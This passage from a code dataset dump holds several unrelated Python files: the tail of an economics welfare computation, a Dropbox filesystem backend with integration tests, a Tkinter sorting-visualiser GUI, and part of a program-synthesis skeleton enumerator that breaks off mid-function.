pdd, pdh, pdx, phh, phx, pxx, gd, gh, gs, gp = e[i]\n h = 0.000001*JJJ #- step\n rh = r*h\n At = rh*A / (1 - np.exp(-rh))\n hQ, hSS,hQ2, hAt, ImhQ = h*Q, h*SS, h*Q2, h*At, I - h*Q\n ImhQt = np.transpose(ImhQ)\n #equation for psi_m\n #my paper:\n pm = r - r**2 * h /2\n #KOW\n pmK = r ###let use index K as Kyle-Obizhaeva-Wang\n \n #\n hpm= h*pm\n pmerh = pm*np.exp(rh)\n mn1pm = pmerh / (n-1)\n \n \n ###for psi_0\n QSS = np.dot(Q, SS)\n SSQt = np.dot(SS, Qt)\n AtSS = At*SS\n AQSS2 = -At*(QSS + SSQt) / 2 ###загатовка для матрицы E\n slagpo = 1 - np.log(r) + rh - (rho / r) - (rho * h/ 2) ###?????? rho*h/2 +-\n slagpo2 = (1 -( r*h / 2)) / (2*r)\n \n #SigX = h*SS - (QSS + np.transpose(QSS)) * h^2 / 2 \n \n #super technical parameters\n mn1 = np.exp(r*h) / (n-1)\n\n\n \nprint(e[0])\n\"\"\"","sub_path":"kow/welfare.py","file_name":"welfare.py","file_ext":"py","file_size_in_byte":6180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"325229823","text":"from contextlib import closing, contextmanager\nfrom datetime import datetime\nfrom io import BytesIO\n\nfrom dropbox import Dropbox\nfrom dropbox.files import DownloadError, FileMetadata, FolderMetadata, WriteMode\nfrom dropbox.exceptions import ApiError\nfrom fs.base import FS\nfrom fs.errors import FileExpected, ResourceNotFound\nfrom fs.info import Info\nfrom fs.mode import Mode\nfrom fs.subfs import SubFS\nfrom fs.time import datetime_to_epoch, epoch_to_datetime\n\nclass DropboxFile(BytesIO):\n\tdef __init__(self, dropbox, path, mode):\n\t\tself.dropbox = dropbox\n\t\tself.path = path\n\t\tself.mode = mode\n\t\tinitialData = None\n\t\tself.rev = None\n\t\ttry:\n\t\t\tmetadata, response = self.dropbox.files_download(self.path)\n\t\t\tself.rev = metadata.rev\n\t\t\twith closing(response):\n\t\t\t\t# if (self.mode.reading or self.mode.appending or self.mode.updating) and not self.mode.truncate:\n\t\t\t\tif self.mode.reading and not self.mode.truncate:\n\t\t\t\t\tinitialData = response.content\n\t\texcept ApiError:\n\t\t\t# if the file doesn't exist, we don't need to read it's initial state\n\t\t\tpass\n\t\tsuper().__init__(initialData)\n\t\tif self.mode.appending and initialData is not None:\n\t\t\t# seek to the end\n\t\t\tself.seek(len(initialData))\n\n\tdef close(self):\n\t\tif not self.mode.writing:\n\t\t\treturn\n\t\tif self.rev is None:\n\t\t\twriteMode = WriteMode(\"add\")\n\t\telse:\n\t\t\twriteMode = WriteMode(\"update\", self.rev)\n\t\tmetadata = self.dropbox.files_upload(self.getvalue(), self.path, mode=writeMode, autorename=False, client_modified=datetime.utcnow(), mute=False)\n\t\t# Make sure that we can't call this again\n\t\tself.path = None\n\t\tself.mode = None\n\t\tself.dropbox = None\n\nclass DropboxFS(FS):\n\tdef __init__(self, accessToken):\n\t\tsuper().__init__()\n\t\tself.dropbox = Dropbox(accessToken)\n\t\t_meta = self._meta = {\n\t\t\t\"case_insensitive\": False, # I think?\n\t\t\t\"invalid_path_chars\": \":\", # not sure what else\n\t\t\t\"max_path_length\": None, # don't know what the limit is\n\t\t\t\"max_sys_path_length\": None, # there's no syspath\n\t\t\t\"network\": True,\n\t\t\t\"read_only\": False,\n\t\t\t\"supports_rename\": False # since we don't have a syspath...\n\t\t}\n\n\tdef __repr__(self):\n\t\treturn \"\"\n\n\tdef _infoFromMetadata(self, metadata): # pylint: disable=no-self-use\n\t\trawInfo = {\n\t\t\t\"basic\": {\n\t\t\t\t\"name\": metadata.name,\n\t\t\t\t\"is_dir\": isinstance(metadata, FolderMetadata),\n\t\t\t}\n\t\t}\n\t\tif isinstance(metadata, FileMetadata):\n\t\t\trawInfo.update({\n\t\t\t\"details\": {\n\t\t\t\t\"accessed\": None, # not supported by Dropbox API\n\t\t\t\t\"created\": None, # not supported by Dropbox API?,\n\t\t\t\t\"metadata_changed\": None, # not supported by Dropbox\n\t\t\t\t\"modified\": datetime_to_epoch(metadata.server_modified), # API documentation says that this is reliable\n\t\t\t\t\"size\": metadata.size,\n\t\t\t\t\"type\": 0\n\t\t\t\t},\n\t\t\t\"dropbox\": {\n\t\t\t\t\"content_hash\": metadata.content_hash, # see https://www.dropbox.com/developers/reference/content-hash\n\t\t\t\t\"rev\": metadata.rev,\n\t\t\t\t\"client_modified\": metadata.client_modified # unverified value coming from dropbox clients\n\t\t\t\t}\n\t\t\t})\n\t\t\tif metadata.media_info is not None and metadata.media_info.is_metadata() is True:\n\t\t\t\tmedia_info_metadata = metadata.media_info.get_metadata()\n\t\t\t\tif media_info_metadata.time_taken is not None:\n\t\t\t\t\trawInfo.update({\n\t\t\t\t\t\t\"media_info\": {\n\t\t\t\t\t\t\t\"taken_date_time\": datetime_to_epoch(media_info_metadata.time_taken)\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\tif media_info_metadata.location is not None:\n\t\t\t\t\trawInfo.update({\n\t\t\t\t\t\t\"media_info\": {\n\t\t\t\t\t\t\t\"location_latitude\": media_info_metadata.location.latitude,\n\t\t\t\t\t\t\t\"location_longitude\": media_info_metadata.location.longitude\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t# Dropbox doesn't parse some jpgs properly\n\t\t\t\tif media_info_metadata.dimensions is not None:\n\t\t\t\t\trawInfo.update({\n\t\t\t\t\t\t\"media_info\": {\n\t\t\t\t\t\t\t\"dimensions_height\": media_info_metadata.dimensions.height,\n\t\t\t\t\t\t\t\"dimensions_width\": media_info_metadata.dimensions.width\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\telif isinstance(metadata, FolderMetadata):\n\t\t\trawInfo.update({\n\t\t\t\"details\": {\n\t\t\t\t\"accessed\": None, # not supported by Dropbox API\n\t\t\t\t\"created\": None, # not supported by Dropbox API,\n\t\t\t\t\"metadata_changed\": None, # not supported by Dropbox\n\t\t\t\t\"modified\": None, # not supported for folders\n\t\t\t\t\"size\": None, # not supported for folders\n\t\t\t\t\"type\": 1\n\t\t\t\t}})\n\t\telse:\n\t\t\tassert False, f\"{metadata.name}, {metadata}, {type(metadata)}\"\n\t\treturn Info(rawInfo)\n\n\tdef getinfo(self, path, namespaces=None):\n\t\tif path == \"/\":\n\t\t\treturn Info({\"basic\": {\"name\": \"\", \"is_dir\": True}})\n\t\ttry:\n\t\t\tif not path.startswith(\"/\"):\n\t\t\t\tpath = \"/\" + path\n\t\t\tmetadata = self.dropbox.files_get_metadata(path, include_media_info=True)\n\t\texcept ApiError as e:\n\t\t\traise ResourceNotFound(path=path, exc=e)\n\t\treturn self._infoFromMetadata(metadata)\n\n\tdef setinfo(self, path, info): # pylint: disable=too-many-branches\n\t\t# dropbox doesn't support changing any of the metadata values\n\t\tpass\n\n\tdef listdir(self, path):\n\t\treturn [x.name for x in self.scandir(path)]\n\n\tdef makedir(self, path, permissions=None, recreate=False):\n\t\ttry:\n\t\t\tfolderMetadata = self.dropbox.files_create_folder(path)\n\t\texcept ApiError as e:\n\t\t\tassert isinstance(e.reason, CreateFolderError)\n\t\t\t# TODO - there are other possibilities\n\t\t\traise DirectoryExpected(path=path)\n\t\t# don't need to close this filesystem so we return the non-closing version\n\t\treturn SubFS(self, path)\n\n\tdef openbin(self, path, mode=\"r\", buffering=-1, **options):\n\t\tmode = Mode(mode)\n\t\texists = True\n\t\tisDir = False\n\t\ttry:\n\t\t\tisDir = self.getinfo(path).is_dir\n\t\texcept ResourceNotFound:\n\t\t\texists = False\n\t\tif mode.exclusive and exists:\n\t\t\traise FileExists(path)\n\t\telif mode.reading and not mode.create and not exists:\n\t\t\traise ResourceNotFound(path)\n\t\telif isDir:\n\t\t\traise FileExpected(path)\n\t\treturn DropboxFile(self.dropbox, path, mode)\n\n\tdef remove(self, path):\n\t\ttry:\n\t\t\tself.dropbox.files_delete(path)\n\t\texcept ApiError as e:\n\t\t\traise FileExpected(path=path, exc=e)\n\n\tdef removedir(self, path):\n\t\ttry:\n\t\t\tself.dropbox.files_delete(path)\n\t\texcept ApiError as e:\n\t\t\tassert e.reason is DeleteError\n\t\t\traise DirectoryExpected(path=path, exc=e)\n\n\t# non-essential method - for speeding up walk\n\tdef scandir(self, path, namespaces=None, page=None):\n\t\t# \n\t\tif path == \"/\":\n\t\t\tpath = \"\"\n\t\t# get all the avaliable metadata since it's cheap\n\t\t# TODO - this call has a recursive flag so we can either use that and cache OR override walk\n\t\tresult = self.dropbox.files_list_folder(path, include_media_info=True)\n\t\tallEntries = result.entries\n\t\twhile result.has_more:\n\t\t\tresult = self.dropbox.files_list_folder_continue(result.cursor)\n\t\t\tallEntries += result.entries\n\t\treturn [self._infoFromMetadata(x) for x in allEntries]\n\n@contextmanager\ndef setup_test():\n\tfrom os import environ\n\tfrom uuid import uuid4\n\ttoken = environ[\"DROPBOX_ACCESS_TOKEN\"]\n\tfs = DropboxFS(token)\n\ttestDir = \"/tests/dropboxfs-test-\" + uuid4().hex\n\ttry:\n\t\tassert fs.exists(testDir) is False\n\t\tfs.makedir(testDir)\n\t\tyield (fs, testDir)\n\tfinally:\n\t\tfs.removedir(testDir)\n\t\tfs.close()\n\treturn fs, testDir\n\ndef test():\n\tfrom contextlib import suppress\n\tfrom fs.path import join\n\t\n\twith setup_test() as testSetup:\n\t\tfs, testDir = testSetup\n\n\t\ttextPath = join(testDir, \"test.txt\")\n\t\tassert not fs.exists(textPath), \"Bad starting state\"\n\t\twith fs.open(textPath, \"w\") as f:\n\t\t\tf.write(\"Testing\")\n\t\tassert fs.exists(textPath)\n\t\twith fs.open(textPath, \"r\") as f:\n\t\t\tassert f.read() == \"Testing\"\n\t\tfs.remove(textPath)\n\t\tassert not fs.exists(textPath)\n\n\t\tbinaryPath = join(testDir, \"binary.txt\")\n\t\tassert not fs.exists(binaryPath), \"Bad starting state\"\n\t\twith fs.open(binaryPath, \"wb\") as f:\n\t\t\tf.write(b\"binary\")\n\t\tassert fs.exists(binaryPath)\n\t\twith fs.open(binaryPath, \"rb\") as f:\n\t\t\tassert f.read() == b\"binary\"\n\t\tfs.remove(binaryPath)\n\t\tassert not fs.exists(binaryPath)\n\n\t\tdirPath = join(testDir, \"somedir\")\n\t\tassert not fs.exists(dirPath), \"Bad starting state\"\n\t\tfs.makedir(dirPath)\n\t\tassert fs.exists(dirPath)\n\t\tfs.removedir(dirPath)\n\t\tassert not fs.exists(dirPath)\n\n\t\twith fs.open(binaryPath, \"wb\") as f:\n\t\t\tf.write(b\"binary\")\n\t\tassert fs.listdir(testDir) == [\"binary.txt\"]\n\t\tfs.remove(binaryPath)\n\t\tassert not fs.exists(binaryPath)\n\ndef assert_contents(fs, path, expectedContents):\n\twith fs.open(path, \"r\") as f:\n\t\tcontents = f.read()\n\t\tassert contents == expectedContents, f\"'{contents}'\"\n\ndef test_versions():\n\tfrom contextlib import suppress\n\tfrom fs.path import join\n\n\twith setup_test() as testSetup:\n\t\tfs, testDir = testSetup\n\n\t\tpath = join(testDir, \"versions.txt\")\n\n\t\twith suppress(ResourceNotFound, FileExpected):\n\t\t\tfs.remove(path)\n\n\t\twith fs.open(path, \"wb\") as f:\n\t\t\tf.write(b\"v1\")\n\n\t\twith fs.open(path, \"wb\") as f:\n\t\t\tf.write(b\"v2\")\n\n\t\twith suppress(ResourceNotFound, FileExpected):\n\t\t\tfs.remove(path)\n\ndef test_open_modes():\n\tfrom contextlib import suppress\n\tfrom io import SEEK_END\n\tfrom fs.path import join\n\n\twith setup_test() as testSetup:\n\t\tfs, testDir = testSetup\n\n\t\tpath = join(testDir, \"test.txt\")\n\t\twith suppress(ResourceNotFound, FileExpected):\n\t\t\tfs.remove(path)\n\t\twith fs.open(path, \"w\") as f:\n\t\t\tf.write(\"AAA\")\n\t\tassert_contents(fs, path, \"AAA\")\n\t\twith fs.open(path, \"ra\") as f:\n\t\t\tf.write(\"BBB\")\n\t\tassert_contents(fs, path, \"AAABBB\")\n\t\twith fs.open(path, \"r+\") as f:\n\t\t\tf.seek(1)\n\t\t\tf.write(\"X\")\n\t\tassert_contents(fs, path, \"AXABBB\")\n\t\tfs.remove(path)\n\t\tassert not fs.exists(path)\n\ndef test_speed():\n\tfrom time import perf_counter\n\tfrom fs.path import join\n\n\twith setup_test() as testSetup:\n\t\tfs, testDir = testSetup\n\n\t\tstartTime = perf_counter()\n\t\tfor directory in [\"a\", \"b\", \"c\", \"d\"]:\n\t\t\tthisDirFS = fs.makedir(join(testDir, directory))\n\t\t\tfor filename in [\"A\", \"B\", \"C\", \"D\"]:\n\t\t\t\twith thisDirFS.open(filename, \"w\") as f:\n\t\t\t\t\tf.write(filename)\n\t\tprint(f\"Time for makedir/openbin {perf_counter() - startTime}\")\n\n\t\ttestDirFS = fs.opendir(testDir)\n\t\tstartTime = perf_counter()\n\t\tfor path, info_ in testDirFS.walk.info(namespaces=[\"basic\", \"details\"]):\n\t\t\tpass\n\t\tprint(f\"Time for walk {perf_counter() - startTime}\")\n\ndef test_opener():\n\tfrom os import environ\n\tfrom fs import open_fs\n\tfrom fs.path import join\n\twith setup_test() as testSetup:\n\t\tfs, testDir = testSetup\n\t\ttestPath = join(testDir, \"testfile\")\n\t\tfs2 = open_fs(f\"dropbox://{testDir}?access_token={environ['DROPBOX_ACCESS_TOKEN']}\")\n\t\twith fs2.open(\"testfile\", \"w\") as f:\n\t\t\tf.write(\"test\")\n\t\tassert fs.exists(testPath)\n","sub_path":"fs/dropboxfs/dropboxfs.py","file_name":"dropboxfs.py","file_ext":"py","file_size_in_byte":10202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"1883715","text":"#!/usr/bin/python\n\nfrom Tkinter import *\nimport psort\n\nclass Gui:\n master = []\n sorter = []\n sorteractive = False\n count = 40\n # Signal to stop after completing next sorting\n keepgoing = True\n running = False\n # Used to temporarily store cycle multiplier rate when stopping\n savecyclemult = 1.0\n\n # Track changes to any of the sliders. Their effects will only be\n # registered when the mouse is released.\n lastslider = 'none'\n\n def __init__(self, master):\n self.master = master\n # Track all button releases\n master.bind(\"\", self.buttonrelease)\n\n self.cntlframe = Frame(master)\n self.cntlframe.pack()\n\n\n self.gobutton = Button(self.cntlframe, text=\"Go\",\n height=3, width = 15,\n command=self.run)\n self.gobutton.pack(side=LEFT)\n\n self.stopbutton = Button(self.cntlframe, text=\"Stop\",\n height=3, width = 15,\n command=self.stop)\n self.stopbutton.pack(side=LEFT)\n\n# Reset button is not very useful\n# self.resetbutton = Button(self.cntlframe, text=\"Reset\",\n# height=3, width = 15,\n# command=self.init)\n# self.resetbutton.pack(side=LEFT)\n\n self.exitbutton = Button(self.cntlframe, text=\"Exit\",\n height=3, width = 15,\n command=self.quit)\n self.exitbutton.pack(side=LEFT)\n\n self.infoframe = Frame(master)\n self.infoframe.pack()\n\n self.fromorderframe = Frame(self.infoframe)\n \n self.fromorderframe.pack(side=LEFT)\n self.fromordertitle = Label(self.fromorderframe, width = 15,\n text = 'Last ordering')\n self.fromordertitle.pack(side=TOP)\n self.fromorderlabel = Label(self.fromorderframe, width = 15,\n bg='white', relief=SUNKEN, justify=LEFT)\n self.fromorderlabel.pack(side=BOTTOM)\n\n self.toorderframe = Frame(self.infoframe)\n \n self.toorderframe.pack(side=LEFT)\n self.toordertitle = Label(self.toorderframe, width = 15,\n text = 'New ordering')\n self.toordertitle.pack(side=TOP)\n self.toorderlabel = Label(self.toorderframe, width = 15,\n bg='white', relief=SUNKEN, justify=LEFT)\n self.toorderlabel.pack(side=BOTTOM)\n\n self.methodframe = Frame(self.infoframe)\n \n self.methodframe.pack(side=LEFT)\n self.methodtitle = Label(self.methodframe, width = 15,\n text = 'Sorting Method')\n self.methodtitle.pack(side=TOP)\n\n self.methodlabel = Label(self.methodframe, width = 15,\n bg='white', relief=SUNKEN, justify=LEFT)\n self.methodlabel.pack(side=LEFT)\n\n self.rateframe = Frame(master)\n # Track mouse button release events\n# self.rateframe.bind(\"\", self.buttonrelease)\n self.rateframe.pack()\n self.rateslider = Scale(self.rateframe, label=\"Sorting Rate\",\n length=300,\n orient=HORIZONTAL, command=self.setRate)\n self.rateslider.config(from_ = -20, to = 20)\n self.rateslider.pack()\n\n self.countslider = Scale(self.rateframe, label=\"Elements\",\n length=300,\n orient=HORIZONTAL, command=self.setCount)\n self.countslider.config(from_ = 2, to = 400)\n self.countslider.set(self.count)\n self.countslider.pack()\n\n self.svframe = Frame(master)\n # Track mouse button release events\n# self.svframe.bind(\"\", self.buttonrelease)\n self.svframe.pack()\n self.sslider = Scale(self.svframe, label=\"Saturation * 100\",\n length = 150,\n orient=HORIZONTAL, command=self.sets)\n self.sslider.set(100)\n self.sslider.pack(side=LEFT)\n\n self.vslider = Scale(self.svframe, label=\"Value * 100\",\n length = 150,\n orient=HORIZONTAL, command=self.setv)\n self.vslider.set(100)\n self.vslider.pack(side=LEFT)\n\n def init(self):\n self.keepgoing = True\n if self.sorteractive:\n saturation = self.sorter.spectrum_s\n value = self.sorter.spectrum_v\n width = self.sorter.swidth\n height = self.sorter.rheight\n self.sorter.quit()\n self.sorter = psort.Psort(n = self.count, saturation = saturation,\n value = value, height = height, width = width)\n else:\n self.sorter = psort.Psort(self.count)\n self.sorteractive = True\n\n def run(self):\n if not self.sorteractive:\n self.init()\n self.keepgoing = True\n\n self.running = True\n while self.keepgoing:\n lastorder = self.sorter.lastorder\n self.fromorderlabel.config(text=lastorder)\n method = self.sorter.choosemethod()\n self.methodlabel.config(text=method)\n order = self.sorter.chooseorder(method=method)\n self.toorderlabel.config(text=order)\n self.sorter.runsort(method=method, order=order, pause=2000)\n # Restore cycle multipler in event that it was\n # set to 0 do to a click of the stop button\n self.sorter.cyclemult = self.savecyclemult\n\n def stop(self):\n self.keepgoing = False\n self.running = False\n # Accelerate sorting by setting cycle multipler to 0.\n if self.sorteractive and self.sorter.cyclemult > 0:\n self.savecyclemult = self.sorter.cyclemult\n self.sorter.cyclemult = 0\n\n def quit(self):\n self.stop()\n self.master.unbind(\"\")\n if self.sorteractive:\n self.sorter.quit()\n self.master.destroy()\n\n # For all of the sliders, just record that event has occurred.\n # Don't respond until mouse button is released\n def setRate(self, e):\n self.lastslider = 'rate'\n\n def setCount(self, e):\n if self.sorteractive:\n self.lastslider = 'count'\n else:\n self.count = self.countslider.get()\n\n def sets(self, e):\n self.lastslider = 'saturation'\n\n def setv(self, e):\n self.lastslider = 'value'\n\n # Handle events when button is released in one of the sliders\n # or due to window resizing\n def buttonrelease(self, e):\n if not self.sorteractive:\n return\n if self.lastslider == 'rate':\n val = self.rateslider.get()\n self.sorter.cyclemult = 0.1**(val/10.0)\n elif self.lastslider == 'count':\n val = self.countslider.get()\n self.count = val\n if self.sorteractive:\n self.sorter.newcount(val)\n if self.running:\n self.run()\n elif self.lastslider == 'saturation':\n val = self.sslider.get()\n self.sorter.set_spectrum(s = val / 100.0)\n elif self.lastslider == 'value':\n val = self.vslider.get()\n self.sorter.set_spectrum(v = val / 100.0)\n self.sorter.showsort()\n self.lastslider = 'none'\n\nroot = Tk()\n\ngui = Gui(root)\n\ntry:\n root.mainloop()\nexcept:\n exit()\n\n\n\n","sub_path":"save-2011-05-26/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":7582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"213895254","text":"import math\nimport copy\n\nfrom typing import Set, Optional, List, Any, Iterator, Tuple\nfrom random import Random\nfrom itertools import product\nfrom functools import reduce\nfrom .enumerator import Enumerator\nfrom .. import dsl as D\nfrom .. import spec as S\nfrom ..interpreter import EnumAssertion, SkeletonAssertion, ComponentError, EqualityAssertion\nfrom ..spec.production import Production, FunctionProduction, ParamProduction, EnumProduction\nfrom ..spec import TyrellSpec, Type, EnumType, ValueType\nfrom ..dsl import Node, Builder\nfrom ..logger import get_logger\n\nlogger = get_logger('tyrell.enumerator.line_skeleton')\n\nclass Pool():\n '''\n A special class to store a set for combinations/enumerations.\n https://stackoverflow.com/questions/1132941/least-astonishment-and-the-mutable-default-argument\n '''\n def __init__(self, pool):\n self._pool = pool\n\n def __len__(self):\n return len(self._pool)\n\n def __getitem__(self, i):\n return self._pool[i]\n\n def append(self, p):\n self._pool.append(p)\n\n def __iadd__(self, other):\n if isinstance(other, Pool):\n self._pool += other._pool\n elif isinstance(other, list):\n self._pool += other\n else:\n raise NotImplementedError(\"Pool += operator doesn't support type {}.\".format(type(other)))\n return self\n\nclass LineSkeletonIterator():\n '''\n A true lazy iterator for concretizing full skeleton. Note that this requires full skeleton where only the following tokens are allowed:\n - FunctionProduction\n - ParamProduction\n - EnumType\n - Int (which corresponds to reference token)\n This constructs a lazy iterator for a single full line skeleton.\n '''\n def __init__(self, builder, name, skeleton):\n self._skeleton = skeleton\n self._name = name # identifiable name of skeleton\n self._builder = builder\n\n # initialization\n # first identify all the EnumTypes and construct a list of pools in a depth-first post-order way\n # -- the same way we construct a program in the future\n self._pools = self.identify_enum_types(self._skeleton)\n # this is the index list of self._pools\n # the lazy iterator will use this indices instead of direct sampling on self._pools\n self._pseqs = [list(range(len(self._pools[i]))) for i in range(len(self._pools))]\n self._size = reduce(lambda x,y: x*len(y), self._pseqs, 1)\n self._ptr = 0\n\n # precompute lazy product helpers\n # refer to: https://github.com/tylerburdsall/lazy-cartesian-product-python\n self._divs = []\n self._mods = []\n factor = 1\n for i in range(len(self._pseqs)-1, -1, -1):\n items = len(self._pseqs[i])\n self._divs.insert(0, factor)\n self._mods.insert(0, items)\n factor = factor * items\n\n # note: argument level conflict-driven learning\n # key is context, value is condition predicate (lambda function)\n self._predicates = {}\n\n # for logging statistics only\n self._nprunedby = {\"KB\": 0}\n\n def reset_ptr(self):\n self._ptr = 0\n\n def __next__(self):\n return self.next()\n\n def next(self):\n if self._ptr >= self._size:\n raise StopIteration()\n self._ptr += 1\n # return self.__getitem__(self._ptr-1)\n return (\n self._ptr-1 == 0, # detect whether this is the first candidate in the skeleton\n self.__getitem__(self._ptr-1) # the program itself\n )\n\n def identify_enum_types(self, sunit):\n ret_pools = []\n if isinstance(sunit, list):\n for i in range(len(sunit)):\n ret_pools += self.identify_enum_types(sunit[i])\n elif isinstance(sunit, FunctionProduction):\n pass\n elif isinstance(sunit, int):\n pass\n elif isinstance(sunit, ParamProduction):\n pass\n elif isinstance(sunit, EnumType):\n prods = self._builder.get_productions_with_lhs(sunit)\n # only use EnumProds\n enum_prods = [p for p in prods if p.is_enum()]\n assert len(enum_prods) > 0, \"No EnumProduction is available for EnumType {}. You need to refine your dsl or skeleton.\".format(sunit.name)\n ret_pools.append(Pool(enum_prods))\n else:\n raise NotImplementedError(\"Unsupported type for a full skeleton, got: {}.\".format(type(sunit)))\n return ret_pools\n\n def __len__(self):\n return self._size\n\n def __getitem__(self, n):\n if n<0 or n>=self._size:\n raise IndexError(\"i={}, size={}\".format(n, self._size))\n\n # first compute combination choices for every Pool\n combination = []\n for i in range(0, len(self._pseqs)):\n combination.append(self._pseqs[i][ int(math.floor(n / self._divs[i])) % self._mods[i] ])\n # print(\"# [debug] combination is: {}\".format(combination))\n\n # then construct the program recursively in a depth-first post-order way\n # argument level conflict-driven learning: before construction, query the stored predicates\n # note: convert the combination (ptr based) here into combination (prod id based)\n # note-important:\n # a combination in interpreters is production id based\n # a combination here is pointer-to-iter based (see usage down in construct_ast)\n # so you need to covert it here to fit the predicate function returned from interpreter\n comb = tuple([self._pools[i][combination[i]].id for i in range(len(combination))])\n if self.check_combination(comb):\n return self.construct_ast(self._skeleton, combination)\n else:\n return None\n\n def context_matching(self, cnxt, comb):\n # match a context with a combination\n # e.g.,\n # context: (1, 2, 3, None, None)\n # combination: (1, 2, 3, 4, 5)\n # where `None` stands for arbitrary anything\n # match\n if len(cnxt) != len(comb):\n return False\n for i in range(len(cnxt)):\n if cnxt[i] is not None:\n if cnxt[i] != comb[i]:\n return False\n return True\n\n def check_combination(self, comb):\n for dcnxt,dpreds in self._predicates.items():\n if self.context_matching(dcnxt, comb):\n # print(\"matched context\")\n for dpred in dpreds:\n # print(\"testing pred\")\n # there could be multiple predicates, iterate them one by one\n if not dpred(comb):\n # print(\"# pruned: comb={}, by cnxt={}\".format(comb, dcnxt))\n self._nprunedby[\"KB\"] += 1\n return False\n # print(\"# good: comb={}\".format(comb))\n return True\n\n def construct_ast(self, cmds, comb):\n top_level_outputs = [] # used for reference tracking\n\n def rec_make_node(sunit, pos):\n curr_pos = None\n curr_node = None\n if isinstance(sunit, list):\n # first pos is FunctionProduction, presumably validated by rec_validate\n tmp_pos = pos\n tmp_args = []\n for i in range(1, len(sunit)):\n # skip the first pos, since we will make it from this level\n tmp_pos, tmp_node = rec_make_node(sunit[i], tmp_pos)\n tmp_args.append(tmp_node)\n curr_pos = tmp_pos\n curr_node = self._builder.make_node(sunit[0], tmp_args)\n elif isinstance(sunit, FunctionProduction):\n raise ValueError(\"FunctionProduction should be assembled from within the previous level.\")\n elif isinstance(sunit, int):\n curr_pos = pos\n # refer to a top level output\n curr_node = top_level_outputs[sunit]\n elif isinstance(sunit, ParamProduction):\n curr_pos = pos\n curr_node = self._builder.make_node(sunit)\n elif isinstance(sunit, EnumType):\n curr_pos = pos + 1\n # note: track the current position in combination as cpos, which will be used to blame nodes in the future\n curr_node = self._builder.make_node( self._pools[pos][comb[pos]], tag={\"cpos\": pos} )\n else:\n raise NotImplementedError(\"Unsupported type for a full skeleton, got: {}.\".format(type(sunit)))\n return curr_pos, curr_node\n\n top_pos = 0\n for k in range(len(cmds)):\n top_pos, top_node = rec_make_node(cmds[k], top_pos)\n top_level_outputs.append(top_node)\n assert top_pos == len(comb), \"Numbers of combination elements used don't match, expected {}, but got {}.\".format(len(comb), top_pos)\n # print(\"# [debug] number of outputs: {}\".format(len(top_level_outputs)))\n return top_level_outputs[-1]\n\nclass LineSkeletonEnumerator(Enumerator):\n\n def __init__(self, spec: S.TyrellSpec, cands: List[Any]):\n '''\n Initialize an enumerator that takes as input a list of candidate programs written in line skeleton format.\n '''\n self._spec = spec\n self._builder = D.Builder(spec)\n # if you see any slot that require this type, raise a warning\n # because a type that is not terminal could introduce infinite derivations\n # if it both appears in a production's LHS and RHS\n self._warning_types = set([ p.lhs for p in self._builder.productions() if not p.is_enum() ])\n # fixme: add cyclic substitution detection later\n logger.info(\"The following types contain non-terminal production rules: {}. \".format(\", \".join([str(p) for p in self._warning_types])) + \\\n \"Try not to leave them as holes in your skeleton. \" + \\\n \"Even though a spawning procedure can try to complete them, a cyclic substitution may still happen.\")\n\n # note: in Trinity, EnumType is terminal type, ValueType is non-terminal type\n # note-important: in Trinity, a Type can only either be terminal or non-terminal; it can't be both\n # EnumType <- EnumProduction\n # ValueType <- ParamProduction\n # ValueType <- FunctionProduction\n self._all_types = self._spec._type_spec.types()\n self._terminal_types = [p for p in self._all_types if p.is_enum()]\n self._nonterminal_types = [p for p in self._all_types if p.is_value()]\n\n # store the original skeletons\n self._skeletons = cands\n # prepare candidate full line skeletons\n self._cands = []\n for sk in cands:\n self._cands += self.canonicalize(sk)\n # prepare iterators for every full line skeleton\n self._iters = [ \n LineSkeletonIterator(self._builder, self.rec_list_to_tuple(self.pretty_print_ir1_cmd(sk)), sk)\n for sk in self._cands \n ]\n\n self._iter_ptr = 0\n\n # note: skeleton level CDCL, list elements are lambda functions that match skeleton name\n # e.g., the following represents a predicate (skeleton pattern):\n # (('gather|select', 'Param@0', 'EnumType@ColList'), \n # ('separate', 'ref@0', 'EnumType@ColInt'), \n # (None, 'ref@1', 'EnumType@ColList'))\n # where 'a|b' indicates a set, None indicates anything\n # note: call `skeleton_pattern_matching` to match between a predicate and a skeleton\n self._skeleton_patterns = []\n\n self._nprunedby = {\n \"parameter\": 0,\n \"sketch\": 0,\n \"component\": 0,\n \"equality\": 0,\n \"KB\": 0, # sketch level KB\n }\n\n\n def export_knowledge_base(self):\n # export reusable knowledge base\n # the exported knowledge base can only be used for the same enumerator for ks/recovery purpose\n tmp_kb = {\n \"skeleton_patterns\": copy.deepcopy( self._skeleton_patterns ),\n \"iterator_predicates\": [\n copy.deepcopy( self._iters[i]._predicates )\n for i in range(len(self._iters))\n ]\n }\n return tmp_kb\n\n def import_knowledge_bases(self, arg_kbs):\n for kb in arg_kbs:\n self._skeleton_patterns += kb[\"skeleton_patterns\"]\n assert len(self._iters) == len(kb[\"iterator_predicates\"])\n for i in range(len(self._iters)):\n for dkey in kb[\"iterator_predicates\"][i].keys():\n if dkey not in self._iters[i]._predicates.keys():\n self._iters[i]._predicates[dkey] = []\n self._iters[i]._predicates[dkey] += kb[\"iterator_predicates\"][i][dkey]\n # remove duplicates\n self._skeleton_patterns = list(set(self._skeleton_patterns))\n # fixme: iterator predicates contain lambda function, which can't be directly compared and removed when duplicated\n\n def rec_skeleton_pattern_matching(self, pred, tgt):\n # match a skeleton pattern (predicate) with a specific skeleton\n # see comments for self._predicates for formatting details\n # pred: predicate, can be a concrete skeleton, or a patterned skeleton\n # tgt: target, should be concrete skeleton\n # return True if matched\n if isinstance(pred, tuple) and isinstance(tgt, tuple):\n if len(pred) != len(tgt):\n return False\n for i in range(len(pred)):\n if not self.rec_skeleton_pattern_matching(pred[i], tgt[i]):\n return False\n return True\n elif isinstance(pred, str) and isinstance(tgt, str):\n if \"|\" in pred:\n tmp_toks = pred.split(\"|\")\n if tgt in tmp_toks:\n return True\n else:\n return False\n else:\n if pred == tgt:\n return True\n else:\n return False\n elif pred is None and isinstance(tgt, str):\n return True\n elif pred is None and isinstance(tgt, tuple):\n 